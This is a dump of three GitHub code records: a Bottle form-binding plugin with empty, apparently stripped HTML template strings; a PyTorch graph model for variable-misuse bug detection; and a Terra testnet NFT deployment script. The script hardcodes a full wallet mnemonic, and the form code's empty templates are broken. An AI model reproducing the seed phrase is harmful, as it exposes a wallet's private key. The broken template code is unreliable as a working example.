True\n\n\t\t\texcept:\n\t\t\t\tself.error_message = '%s must be an integer' % text\n\t\t\t\treturn False\n\t\telse:\n\t\t\treturn True\n\n\tdef bind_value(self, value):\n\t\t\"\"\" save unescaped and ensure its escaped each time its rendered instead\n\t\tif value and type(value) == str and not self.html:\n\t\t\tvalue = html_escape(value.strip())\n\t\telif value and type(value) == list:\n\t\t\tescaped_list = []\n\t\t\tfor i in value:\n\t\t\t\tif type(i) == str and not self.html:\n\t\t\t\t\tescaped_list.append(html_escape(i))\n\t\t\t\telse:\n\t\t\t\t\tescaped_list.append(i)\n\t\t\tvalue = escaped_list\n\t\t\"\"\"\n\t\tself.value = value\n\n\n\tdef get_html(self, row_class=None):\n\n\t\tclasshtml = ''\n\t\tif self.class_name:\n\t\t\tclasshtml = 'class=\"%s\"' % self.class_name\n\n\t\tidhtml = ''\n\t\tif self.id:\n\t\t\tidhtml = 'id=\"%s\"' % self.id\n\n\t\tplaceholderhtml = ''\n\t\tif self.placeholder:\n\t\t\tplaceholderhtml = 'placeholder=\"%s\"' % self.placeholder\n\n\t\tlabelclasshtml = ''\n\t\tif self.label_class:\n\t\t\tlabelclasshtml = 'class=\"%s\"' % self.label_class\n\n\t\tinputcontainerclasshtml = ''\n\t\tif self.input_container_class:\n\t\t\tinputcontainerclasshtml = 'class=\"%s\"' % self.input_container_class\n\n\t\ttemplate = \"\"\n\n\t\tif self.type == Types.HIDDEN_TYPE:\n\t\t\tif self.value:\n\t\t\t\tvaluehtml = 'value=\"%s\"' % escape_value(self.value)\n\t\t\telse:\n\t\t\t\tvaluehtml = ''\n\n\t\t\ttemplate += '' % (self.name, classhtml, idhtml, valuehtml)\n\n\n\t\telif self.type == Types.MULTI_HIDDEN_TYPE:\n\t\t\tif self.select_list_items:\n\t\t\t\tfor item in self.select_list_items:\n\t\t\t\t\tvaluehtml = 'value=\"%s\"' % item[0]\n\n\t\t\t\t\ttemplate += '' % (self.name, classhtml, idhtml, valuehtml)\n\n\n\t\telif self.type == Types.TEXT_TYPE or self.type == Types.INT_TYPE:\n\t\t\tif self.value:\n\t\t\t\tvaluehtml = 'value=\"%s\"' % escape_value(self.value)\n\t\t\telse:\n\t\t\t\tvaluehtml = ''\n\n\t\t\tif self.label_text and self.id:\n\t\t\t\ttemplate += '' % (labelclasshtml, self.id, self.label_text)\n\t\t\ttemplate += '
' % (inputcontainerclasshtml, self.name, classhtml, idhtml, valuehtml, placeholderhtml)\n\n\n\t\telif self.type == Types.PASSWORD_TYPE:\n\n\t\t\tif self.label_text and self.id:\n\t\t\t\ttemplate += '' % (labelclasshtml, self.id, self.label_text)\n\t\t\ttemplate += '
' % (inputcontainerclasshtml, self.name, classhtml, idhtml)\n\n\n\t\telif self.type == Types.TEXTAREA_TYPE:\n\t\t\tif self.value:\n\t\t\t\tvaluehtml = escape_value(self.value)\n\t\t\telse:\n\t\t\t\tvaluehtml = ''\n\n\t\t\tif self.label_text and self.id:\n\t\t\t\ttemplate += '' % (labelclasshtml, self.id, self.label_text)\n\t\t\ttemplate += '
' % (inputcontainerclasshtml, self.name, classhtml, idhtml, valuehtml)\n\n\n\t\telif self.type == Types.CHECKBOX_TYPE:\n\t\t\tif self.value and (self.value=='1' or self.value==True):\n\t\t\t\tvaluehtml = 'checked=\"checked\"'\n\t\t\telse:\n\t\t\t\tvaluehtml = ''\n\n\t\t\tif self.label_text and self.id:\n\t\t\t\ttemplate += '' % (labelclasshtml, self.id, self.label_text)\n\t\t\ttemplate += '
' % (inputcontainerclasshtml, self.name, classhtml, idhtml, valuehtml)\n\n\n\n\t\telif self.type == Types.RADIO_TYPE:\n\t\t\tif self.value and (self.value=='1' or self.value==True):\n\t\t\t\tvaluehtml = 'checked=\"checked\"'\n\t\t\telse:\n\t\t\t\tvaluehtml = ''\n\n\t\t\tif self.label_text and self.id:\n\t\t\t\ttemplate += '' % (labelclasshtml, self.id, self.label_text)\n\t\t\ttemplate += '
' % (inputcontainerclasshtml, self.name, classhtml, idhtml, valuehtml)\n\n\n\n\t\telif self.type == Types.SELECT_TYPE:\n\t\t\tif self.label_text and self.id:\n\t\t\t\ttemplate += '' % (labelclasshtml, self.id, self.label_text)\n\t\t\t\t\n\t\t\ttemplate += '
'\n\n\n\n\t\telif self.type == Types.MULTI_SELECT_TYPE:\n\t\t\tif self.label_text and self.id:\n\t\t\t\ttemplate += '' % (labelclasshtml, self.id, self.label_text)\n\t\t\t\t\n\t\t\ttemplate += '
'\n\n\n\n\t\telif self.type == Types.FILE_TYPE:\n\t\t\tif self.value:\n\t\t\t\tvaluehtml = 'value=\"%s\"' % escape_value(self.value)\n\t\t\telse:\n\t\t\t\tvaluehtml = ''\n\n\t\t\tif self.label_text and self.id:\n\t\t\t\ttemplate += '' % (labelclasshtml, self.id, self.label_text)\n\t\t\ttemplate += '
' % (inputcontainerclasshtml, self.name, classhtml, idhtml, valuehtml)\n\n\n\n\t\trowclasshtml = ''\n\t\tif row_class:\n\t\t\trowclasshtml = 'class=\"%s\"' % row_class\n\n\t\treturn '
%s
' % (rowclasshtml, template)\n\n\n\n\n\"\"\"\nBottle plugin\n\nusage:\n@app.route('/login', method='POST', apply=[form_binder_plugin], form=login_form)\ndef index():\n\tform = bottle.request.form\n\n    if form.is_valid():\n        user = User()\n        u = form.hydrate_entity(user)\n\n        .....do stuff and return redirect etc\n    else:\n    \tviewdata = {\n\t        'form':form.get_html(row_class='form-group', submit_btn_class=\"btn btn-primary\", submit_btn_text='Login')\n\t    }\n\n    \treturn bottle.template('login.tpl', vd=viewdata)\n\"\"\"\nclass FormBinderPlugin(object):\n    name = 'form_binder'\n    api  = 2\n\n    def __init__(self):\n        pass\n\n    def apply(self, callback, route):\n\n        def wrapper(*a, **ka):\n            form = route.config.get('form')()\n            for formitem in form.formitems:\n                if bottle.request.params.get(formitem.name):\n                    if formitem.type == Types.MULTI_SELECT_TYPE or formitem.type == Types.MULTI_HIDDEN_TYPE:\n                        try:\n                            formitem.bind_value(bottle.request.params.getall(formitem.name))\n                        except:\n                            pass\n\n                    elif formitem.type == Types.INT_TYPE:\n                        try:\n                            formitem.bind_value(int(bottle.request.params.get(formitem.name)))\n                        except:\n                            pass\n\n                    else:\n                        try:\n                            formitem.bind_value(bottle.request.params.get(formitem.name))\n                        except:\n                            pass\n\n            bottle.request.form = form\n\n            return callback(*a, **ka)\n\n        return wrapper", "repo_name": "iamcm/shared", "sub_path": "FormBinder/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 11548, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "bottle.html_escape", "line_number": 9, "usage_type": "call"}, {"api_name": "bottle.request.params.get", "line_number": 376, "usage_type": "call"}, {"api_name": "bottle.request", "line_number": 376, "usage_type": "attribute"}, {"api_name": "bottle.request.params.getall", "line_number": 379, "usage_type": "call"}, {"api_name": "bottle.request", "line_number": 379, "usage_type": "attribute"}, {"api_name": "bottle.request.params.get", "line_number": 385, "usage_type": "call"}, {"api_name": "bottle.request", "line_number": 385, "usage_type": "attribute"}, {"api_name": "bottle.request.params.get", "line_number": 391, "usage_type": "call"}, {"api_name": "bottle.request", "line_number": 391, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 395, "usage_type": "attribute"}]}
{"seq_id": "6906703417", "text": "import sys\nimport os\n\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\n\nimport dgl\nimport math\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom model.copy_transformer import EncoderTransformer, CopyDecoderTransformer\nfrom model.hgt import HGTEncoder, HGTLayer, flatten_hete_ndata\n\nfrom utils.nn_utils import to_input_variable\nfrom utils.vocab import VocabEntry\n\n\ndef masked_log_softmax(vector: torch.Tensor, mask: torch.Tensor, dim: int = -1) -> torch.Tensor:\n    \"\"\"\n    ``torch.nn.functional.log_softmax(vector)`` does not work if some elements of ``vector`` should be\n    masked.  This performs a log_softmax on just the non-masked portions of ``vector``.  Passing\n    ``None`` in for the mask is also acceptable; you'll just get a regular log_softmax.\n    ``vector`` can have an arbitrary number of dimensions; the only requirement is that ``mask`` is\n    broadcastable to ``vector's`` shape.  If ``mask`` has fewer dimensions than ``vector``, we will\n    unsqueeze on dimension 1 until they match.  If you need a different unsqueezing of your mask,\n    do it yourself before passing the mask into this function.\n    In the case that the input vector is completely masked, the return value of this function is\n    arbitrary, but not ``nan``.  You should be masking the result of whatever computation comes out\n    of this in that case, anyway, so the specific values returned shouldn't matter.  Also, the way\n    that we deal with this case relies on having single-precision floats; mixing half-precision\n    floats with fully-masked vectors will likely give you ``nans``.\n    If your logits are all extremely negative (i.e., the max value in your logit vector is -50 or\n    lower), the way we handle masking here could mess you up.  But if you've got logit values that\n    extreme, you've got bigger problems than this.\n    \"\"\"\n    if mask is not None:\n        mask = mask.float()\n        while mask.dim() < vector.dim():\n            mask = mask.unsqueeze(1)\n        # vector + mask.log() is an easy way to zero out masked elements in logspace, but it\n        # results in nans when the whole vector is masked.  We need a very small value instead of a\n        # zero in the mask for these cases.  log(1 + 1e-45) is still basically 0, so we can safely\n        # just add 1e-45 before calling mask.log().  We use 1e-45 because 1e-46 is so small it\n        # becomes 0 - this is just the smallest value we can actually use.\n        vector = vector + (mask + 1e-45).log()\n    return torch.nn.functional.log_softmax(vector, dim=dim)\n\n\nclass CategoricalCrossEntropyLoss(nn.Module):\n    def __init__(self):\n        super(CategoricalCrossEntropyLoss, self).__init__()\n        self.loss = nn.NLLLoss()\n\n    def forward(self, y_hat, y, masked_y_hat):\n        # torch.log_softmax(y_hat,dim=-1) * masked_y_hat\n        return self.loss(masked_log_softmax(y_hat, masked_y_hat, dim = -1), torch.argmax(y.long(), dim=-1))\nclass VarMisUseDecoder(torch.nn.Module):\n    def __init__(self,\n                 encoder_dim,\n                 decoder_dim,\n                 decoder_dp):\n        super().__init__()\n        self.encoder_dim = encoder_dim\n        self.decoder_dim = decoder_dim\n        self.decoder_dp = decoder_dp\n        self.linear1 = nn.Linear(self.encoder_dim, self.decoder_dim)\n        self.relu = nn.ReLU()\n        self.bn = nn.BatchNorm1d(self.decoder_dim)\n        self.dp = nn.Dropout(self.decoder_dp)\n        self.linear2 = nn.Linear(self.decoder_dim, 2)\n\n    def forward(self, x):\n        x = self.linear1(x)\n        x = self.relu(x)\n        x = torch.einsum('bld->bdl', x)\n        x = self.bn(x)\n        x = self.dp(x)\n        x = torch.einsum('bdl->bld', x)\n        x = self.linear2(x)\n        return x\n\nclass HGTVarmisuse(torch.nn.Module):\n    def __init__(self, src_vocab, embedding_dim=256,\n                 encoder_hidden_size=2048, nlayer=8, use_cuda=True, dropout=0.2, nhead=8, node_edge_dict=None):\n        super(HGTVarmisuse, self).__init__()\n        self.src_vocab = src_vocab\n        self.src_vocab_size = len(src_vocab)\n\n        self.encoder_embedding_dim = embedding_dim\n        self.encoder_dim = embedding_dim\n        self.decoder_dim = embedding_dim * 2\n\n        self.encoder_hidden_size = encoder_hidden_size\n\n        self.encoder_nlayers = nlayer\n\n        self.use_cuda = use_cuda\n        self.device = torch.device(\"cuda\" if use_cuda else \"cpu\")\n\n        self.encoder_dp = dropout\n        self.decoder_dp = dropout\n\n        self.encoder_nhead = nhead\n\n        self.node_dict = node_edge_dict['node']\n        self.edge_dict = node_edge_dict['edge']\n\n        # self.encoder = HGTEncoder(self.zero_graph ,self.encoder_embedding_dim)\n\n        '''\n        (self, G_node_dict, G_edge_dict, n_inp, n_hid, n_out, n_layers, n_heads, len_src_vocab, device, use_norm = True):\n        '''\n        self.encoder = HGTEncoder(self.node_dict, self.edge_dict,\n                                    self.encoder_embedding_dim, self.encoder_dim, self.encoder_dim,\n                                    self.encoder_nlayers, self.encoder_nhead, self.src_vocab_size, self.device, use_norm=True)\n                                    \n        '''\n        (self, action_size, encoder_dim,embedding_dim=256, hidden_size=2048, nlayers=6,\n                 device=torch.device(\n                     'cuda:0' if torch.cuda.is_available() else 'cpu'),\n                 dp=0.3,\n                 nhead=8)\n        '''\n        self.decoder = VarMisUseDecoder(self.encoder_dim, self.decoder_dim, self.decoder_dp)\n        \n        self.loc_loss_func = CategoricalCrossEntropyLoss()\n        # https://huggingface.co/transformers/model_doc/bert.html?highlight=bertconfig#transformers.BertConfig\n        self.initializer_range = 0.02\n        self.init_weights()\n\n    def init_weights(self):\n        self.encoder.to(self.device)\n        self.decoder.to(self.device)\n        # https://huggingface.co/transformers/_modules/transformers/modeling_utils.html#PreTrainedModel\n        self.apply(self._init_weights)\n\n    def _init_weights(self, module):\n        # https://huggingface.co/transformers/_modules/transformers/models/bert/modeling_bert.html#BertModel\n        \"\"\"Initialize the weights\"\"\"\n        if isinstance(module, torch.nn.Linear):\n            # Slightly different from the TF version which uses truncated_normal for initialization\n            # cf https://github.com/pytorch/pytorch/pull/5617\n            module.weight.data.normal_(mean=0.0, std=self.initializer_range)\n            if module.bias is not None:\n                module.bias.data.zero_()\n        elif isinstance(module, torch.nn.Embedding):\n            module.weight.data.normal_(mean=0.0, std=self.initializer_range)\n            if module.padding_idx is not None:\n                module.weight.data[module.padding_idx].zero_()\n        elif isinstance(module, torch.nn.LayerNorm):\n            module.bias.data.zero_()\n            module.weight.data.fill_(1.0)\n    \n    def batch_different_length_tensor(self, tensors):\n        \"\"\"\n        Args:\n            tensors: a list of tensors with different length\n        Returns:\n            a tensor with size (len(tensors), max(lengths), ...)\n        \"\"\"\n        max_len = max(map(lambda t: t.size(0), tensors))\n        batch_tensor = torch.zeros(len(tensors), max_len, tensors[0].size(-1))\n        for i, t in enumerate(tensors):\n            batch_tensor[i, :t.size(0),:] = t\n        return batch_tensor.cuda() if self.use_cuda else batch_tensor\n\n    # def forward(self, src_graphs, tgt_sents, src_inputs = None, tgt_inputs = None, out_key = ['identifier', '__ALL__'][1]):\n    def forward(self, src_batch_graph, identifier_nums):\n        # import pdb;pdb.set_trace()\n        # src_batch_graph = dgl.batch(src_graphs)\n        # identifier_nums = [g.num_nodes('identifier') for g in src_graphs]\n        encoder_graphs = self.encoder(src_batch_graph)\n        \n        # encoder_graph_list = dgl.unbatch(encoder_graphs)\n\n        # import pdb; pdb.set_trace();\n\n        # src_sents_idx = list(\n        #                 encoder_graphs.nodes['identifier'].data['name'].split(identifier_nums))\n        # src_sents_idx = [e.tolist() for e in src_sents_idx]\n        # # src_sents_idx = [flatten_hete_ndata(\n        #     # g, 'name', ntypes=['identifier', 'mod']).tolist()[:self.max_len] for g in encoder_graph_list]\n        # src_sents = [[self.src_vocab.id2word[i]\n        #               for i in sent] for sent in src_sents_idx]\n        \n        # # import pdb;pdb.set_trace()\n\n        # lengths = [len(e) for e in src_sents]\n        # src_mask = self.encoder.length_array_to_mask_tensor(lengths)\n        # import pdb;pdb.set_trace()\n        lengths = [e + 1 for e in identifier_nums]\n        decoder_mask = self.encoder.length_array_to_mask_tensor(lengths)\n\n        # [seq_len, hidden_size] * batch_size\n        encoder_identifier_output = list(\n            encoder_graphs.nodes['identifier'].data['h'].split(identifier_nums))\n        encoder_mod_output = list(\n            encoder_graphs.nodes['mod'].data['h'].split([1] * len(identifier_nums)))\n        encoder_concat_output = [torch.cat((e1, e2), dim=0) for e1, e2 in zip(\n            encoder_mod_output, encoder_identifier_output)]\n\n        # loc_target\n        loc_target_tensor_identifier = list(\n            encoder_graphs.nodes['identifier'].data['loc_target'].long().split(identifier_nums))\n        no_buggy = list(\n            encoder_graphs.nodes['mod'].data['loc_target'].long().split([1] * len(identifier_nums)))\n        loc_target_tensor = [torch.cat((e1, e2), dim=0).unsqueeze(-1) for e1, e2 in zip(\n            no_buggy, loc_target_tensor_identifier)]\n\n        # valid_mask\n        valid_tensor_identifier = list(\n            encoder_graphs.nodes['identifier'].data['valid_mask'].long().split(identifier_nums))\n        valid_tensor_mod = list(\n            encoder_graphs.nodes['mod'].data['valid_mask'].long().split([1] * len(identifier_nums)))\n        valid_tensor = [torch.cat((e1, e2), dim=0).unsqueeze(-1) for e1, e2 in zip(\n            valid_tensor_mod, valid_tensor_identifier)]\n\n\n        # repair_target\n        repair_target_identifier = list(\n            encoder_graphs.nodes['identifier'].data['repair_target'].long().split(identifier_nums))\n        repair_target_mod = list(\n            encoder_graphs.nodes['mod'].data['repair_target'].long().split([1] * len(identifier_nums)))\n        repair_target_tensor = [torch.cat((e1, e2), dim=0).unsqueeze(-1) for e1, e2 in zip(\n            repair_target_mod, repair_target_identifier)]\n\n\n        \n        # import pdb;pdb.set_trace()\n        encoder_concat_output = self.batch_different_length_tensor(\n            encoder_concat_output)\n        loc_target_tensor = self.batch_different_length_tensor(\n            loc_target_tensor).squeeze()\n        repair_target_tensor = self.batch_different_length_tensor(\n            repair_target_tensor).squeeze()\n        \n        valid_tensor = self.batch_different_length_tensor(\n            valid_tensor).squeeze()\n        \n        decoder_output = self.decoder(encoder_concat_output)\n        # import pdb;pdb.set_trace()\n        decoder_output += decoder_mask.unsqueeze(-1) * (-10000)\n\n        loc_predictions = decoder_output[:, :, 0]\n\n        loc_loss = self.loc_loss_func(loc_predictions, loc_target_tensor, valid_tensor)\n        # loc_loss = loc_loss.mean()\n\n        no_buggy = torch.stack(no_buggy).squeeze()\n\n\n\n        # loc_equal = loc_predictions.argmax(dim = -1) == loc_target_tensor.argmax(dim =-1)\n\n        # no_bug_pred_acc_num = (no_buggy * loc_equal).sum().item()\n        # bug_loc_acc_num = ((1 - no_buggy) * loc_equal).sum().item()\n\n        # import pdb;pdb.set_trace()\n        repair_logits = decoder_output[:, :, 1]\n        repair_logits_softmax = torch.softmax(repair_logits + (valid_tensor + 1e-45).log(), dim=-1)\n        # repair_logits_softmax = masked_log_softmax(repair_logits, valid_tensor, dim = -1)\n        # repair_logits = repair_logits * valid_tensor\n        # repair_logits_softmax = torch.softmax(repair_logits, dim = -1)\n        # import pdb;pdb.set_trace()\n        \n        repair_prob = repair_logits_softmax * repair_target_tensor\n        repair_prob = repair_prob.sum(dim=-1)\n        repair_loss = (1 - no_buggy) * -torch.log(repair_prob + 1e-9) / (1e-9 + (1 - no_buggy).sum(dim = -1))\n        # repair_loss = repair_loss.mean()\n\n        # repair_acc = (repair_prob > 0.5).float()\n        # repair_acc_num = (repair_acc * (1 - no_buggy)).sum().item()\n\n        return loc_loss, repair_loss\n    \n\n    def inference(self, src_batch_graph, identifier_nums):\n        encoder_graphs = self.encoder(src_batch_graph)\n        lengths = [e + 1 for e in identifier_nums]\n        decoder_mask = self.encoder.length_array_to_mask_tensor(lengths)\n\n        # [seq_len, hidden_size] * batch_size\n        encoder_identifier_output = list(\n            encoder_graphs.nodes['identifier'].data['h'].split(identifier_nums))\n        encoder_mod_output = list(\n            encoder_graphs.nodes['mod'].data['h'].split([1] * len(identifier_nums)))\n        encoder_concat_output = [torch.cat((e1, e2), dim=0) for e1, e2 in zip(\n            encoder_mod_output, encoder_identifier_output)]\n\n        # loc_target\n        loc_target_tensor_identifier = list(\n            encoder_graphs.nodes['identifier'].data['loc_target'].long().split(identifier_nums))\n        no_buggy = list(\n            encoder_graphs.nodes['mod'].data['loc_target'].long().split([1] * len(identifier_nums)))\n        loc_target_tensor = [torch.cat((e1, e2), dim=0).unsqueeze(-1) for e1, e2 in zip(\n            no_buggy, loc_target_tensor_identifier)]\n\n        # valid_mask\n        valid_tensor_identifier = list(\n            encoder_graphs.nodes['identifier'].data['valid_mask'].long().split(identifier_nums))\n        valid_tensor_mod = list(\n            encoder_graphs.nodes['mod'].data['valid_mask'].long().split([1] * len(identifier_nums)))\n        valid_tensor = [torch.cat((e1, e2), dim=0).unsqueeze(-1) for e1, e2 in zip(\n            valid_tensor_mod, valid_tensor_identifier)]\n\n        # repair_target\n        repair_target_identifier = list(\n            encoder_graphs.nodes['identifier'].data['repair_target'].long().split(identifier_nums))\n        repair_target_mod = list(\n            encoder_graphs.nodes['mod'].data['repair_target'].long().split([1] * len(identifier_nums)))\n        repair_target_tensor = [torch.cat((e1, e2), dim=0).unsqueeze(-1) for e1, e2 in zip(\n            repair_target_mod, repair_target_identifier)]\n\n        # import pdb;pdb.set_trace()\n        encoder_concat_output = self.batch_different_length_tensor(\n            encoder_concat_output)\n        loc_target_tensor = self.batch_different_length_tensor(\n            loc_target_tensor).squeeze()\n        repair_target_tensor = self.batch_different_length_tensor(\n            repair_target_tensor).squeeze()\n\n        valid_tensor = self.batch_different_length_tensor(\n            valid_tensor).squeeze()\n\n        decoder_output = self.decoder(encoder_concat_output)\n        # import pdb;pdb.set_trace()\n        decoder_output += decoder_mask.unsqueeze(-1) * (-10000)\n\n        loc_predictions = decoder_output[:, :, 0]\n\n        loc_loss = self.loc_loss_func(\n            loc_predictions, loc_target_tensor, valid_tensor)\n        loc_loss = loc_loss.sum()\n\n        no_buggy = torch.stack(no_buggy).squeeze()\n\n        loc_equal = loc_predictions.argmax(dim = -1) == loc_target_tensor.argmax(dim =-1)\n        # import pdb;pdb.set_trace()\n        no_bug_pred_acc_num = (no_buggy * loc_equal).sum().item()\n        bug_loc_acc_num = ((1 - no_buggy) * loc_equal).sum().item()\n\n        # import pdb;pdb.set_trace()\n        repair_logits = decoder_output[:, :, 1]\n        repair_logits_softmax = torch.softmax(\n            repair_logits + (valid_tensor + 1e-45).log(), dim=-1)\n        repair_logits_softmax = masked_log_softmax(repair_logits, valid_tensor, dim = -1)\n        repair_logits = repair_logits * valid_tensor\n        repair_logits_softmax = torch.softmax(repair_logits, dim = -1)\n        # import pdb;pdb.set_trace()\n\n        repair_prob = repair_logits_softmax * repair_target_tensor\n        repair_prob = repair_prob.sum(dim=-1)\n        repair_loss = (1 - no_buggy) * -torch.log(repair_prob +\n                                                  1e-9) / (1e-9 + (1 - no_buggy).sum(dim=-1))\n        repair_loss = repair_loss.sum()\n\n        repair_acc = (repair_prob > 0.5).float()\n        repair_acc_num = (repair_acc * (1 - no_buggy)).sum().item()\n\n        no_bug_num = no_buggy.sum().item()\n        bug_num = (1 - no_buggy).sum().item()\n\n        return (loc_loss, repair_loss), (no_bug_pred_acc_num, bug_loc_acc_num, repair_acc_num, no_bug_num, bug_num)\n    \n\n\n               \n\n\nif __name__ == '__main__':\n    sys.path.append('/home/zhangkechi/workspace/HGT-DGL/varmisuse_main')\n    from varmisuse_main.varmisuse_dataloader import unit_test as dataloader_unit_test\n    import pickle\n    import json\n    vocab_path = '/home/zhangkechi/workspace/HGT-DGL/data/varmisuse_great/step4/vocab.pkl'\n    vocab = pickle.load(open(vocab_path, 'rb'))\n    node_edge_dict_path = '/home/zhangkechi/workspace/HGT-DGL/data/varmisuse_great/step4/node_edge_dict.json'\n    node_edge_dict = json.load(open(node_edge_dict_path, 'r'))\n\n    model = HGTVarmisuse(vocab, node_edge_dict=node_edge_dict)\n    dataloader = dataloader_unit_test()\n    for i, batch in enumerate(dataloader):\n        print(i)\n        batched_graphs, all_identifier_nums = batch\n        print(all_identifier_nums)\n        loc_loss, repair_loss = model(batched_graphs, all_identifier_nums)\n        loss = loc_loss.mean() + repair_loss.mean()\n        loss.backward()\n\n        (loc_loss, repair_loss), (no_bug_pred_acc_num, bug_loc_acc_num, repair_acc_num,\n                                  no_bug_num, bug_num) = model.inference(batched_graphs, all_identifier_nums)\n        print((loc_loss, repair_loss), (no_bug_pred_acc_num,\n              bug_loc_acc_num, repair_acc_num, no_bug_num, bug_num))\n\n        break\n\n", "repo_name": "zkcpku/HGT-HPG", "sub_path": "model/varmisuse_model.py", "file_name": "varmisuse_model.py", "file_ext": "py", "file_size_in_byte": 18034, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.path.append", "line_number": 4, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 4, "usage_type": "call"}, {"api_name": "os.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 4, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 19, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 47, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 50, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 50, "usage_type": "name"}, {"api_name": "torch.nn.NLLLoss", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 53, "usage_type": "name"}, {"api_name": "torch.argmax", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 58, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 67, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 68, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 69, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 70, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 71, "usage_type": "name"}, {"api_name": "torch.einsum", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.einsum", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 83, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 99, "usage_type": "call"}, {"api_name": "model.hgt.HGTEncoder", "line_number": 114, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 141, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 147, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 151, "usage_type": "attribute"}, {"api_name": "torch.zeros", "line_number": 163, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 200, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 208, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 216, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 225, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 250, "usage_type": "call"}, {"api_name": "torch.softmax", "line_number": 261, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 269, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 288, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 296, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 304, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 312, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 336, "usage_type": "call"}, {"api_name": "torch.softmax", "line_number": 345, "usage_type": "call"}, {"api_name": "torch.softmax", "line_number": 349, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 354, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 372, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 372, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 377, "usage_type": "call"}, {"api_name": "json.load", "line_number": 379, "usage_type": "call"}, {"api_name": "model.copy_transformer", "line_number": 381, "usage_type": "name"}, {"api_name": "varmisuse_main.varmisuse_dataloader.unit_test", "line_number": 382, "usage_type": "call"}, {"api_name": "model.copy_transformer", "line_number": 387, "usage_type": "call"}, {"api_name": "model.copy_transformer.inference", "line_number": 392, "usage_type": "call"}, {"api_name": "model.copy_transformer", "line_number": 392, "usage_type": "name"}]}
{"seq_id": "15398508689", "text": "import base64\nfrom enum import auto\nfrom terra_sdk.client.lcd import LCDClient\nfrom terra_sdk.key.mnemonic import MnemonicKey\nfrom terra_sdk.core.wasm import MsgStoreCode, MsgInstantiateContract, MsgExecuteContract, msgs\nfrom terra_sdk.core.auth.data.tx import StdFee\nfrom terra_sdk.client.lcd.api.bank import BankAPI\n\n\n\nterra = LCDClient(chain_id='Bombay-12', url = \"https://bombay-lcd.terra.dev\")\n\n\ncontract = './collectxyz_nft_contract.wasm'\n\n\nmk = MnemonicKey('used dynamic degree traffic inject various ready fluid federal toilet valid marine practice all blouse tide stomach object food wool suspect economy swim ketchup')\nprint(mk)\nwallet1 = terra.wallet(mk)\nprint(terra.bank.balance(wallet1.key.acc_address))\ncontract_file = open(contract,'rb')\nfile_bytes = base64.b64encode(contract_file.read()).decode()\nstore_code = MsgStoreCode(wallet1.key.acc_address, file_bytes)\nstore_code_tx = wallet1.create_and_sign_tx(\n    msgs = [store_code],\n    fee=StdFee(6000000, \"1000000uluna\")\n)\n\nstore_code_tx_result = terra.tx.broadcast(store_code_tx)\nprint(store_code_tx_result)\n\ncode_id = store_code_tx_result.logs[0].events_by_type['store_code']['code_id'][0]\ninstantiate = MsgInstantiateContract(\n    wallet1.key.acc_address,\n    code_id,\n    {'minter': wallet1.key.acc_address},\n    {'name' : 'God NFT'},\n    {'symbol': 'GNF'}\n\n)\n\ninstantiate_tx = wallet1.create_and_sign_tx(\n    msgs=[instantiate]\n)\n\ninstantiate_tx_result = terra.tx.broadcast(instantiate_tx)\nprint(instantiate_tx_result)\n\ncontract_address = instantiate_tx_result.logs[0].events_by_type['instantiate_contract']['contract_address'][0]\n\nexecute = MsgExecuteContract(\n    wallet1.key.acc_address,\n    contract_address,\n    {'mint': {}}\n)\n\n\nexecute_tx = wallet1.create_and_sign_tx(\n    msgs=[execute], fee=StdFee(1000000, Coins(uluna=1000000))\n)\n\nexecute_tx_result = terra.tx.broadcast(execute_tx)\nprint(execute_tx_result)\n\n\nresult = terra.wasm.contract_query(contract_address, {\"num_tokens\": {}})\nprint(result)\n\n", "repo_name": "gachouchani1999/terra_testing", "sub_path": "contract.py", "file_name": "contract.py", "file_ext": "py", 